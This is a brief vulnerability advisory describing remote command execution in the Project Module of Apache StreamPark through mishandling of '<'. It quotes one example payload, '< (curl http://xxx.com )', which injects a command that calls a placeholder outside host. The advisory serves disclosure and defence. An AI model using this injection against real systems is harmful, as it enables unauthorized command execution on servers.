The issue is related to incorrect handling of the `<` element in the Project Module of Apache StreamPark, allowing for remote command execution. The vulnerability can be exploited by inserting commands, such as using the `<` operator to execute arbitrary commands, for example, `< (curl http://xxx.com )`. The risk level of this vulnerability is considered low, as it requires the attacker to have system-level permissions and log in to the StreamPark system.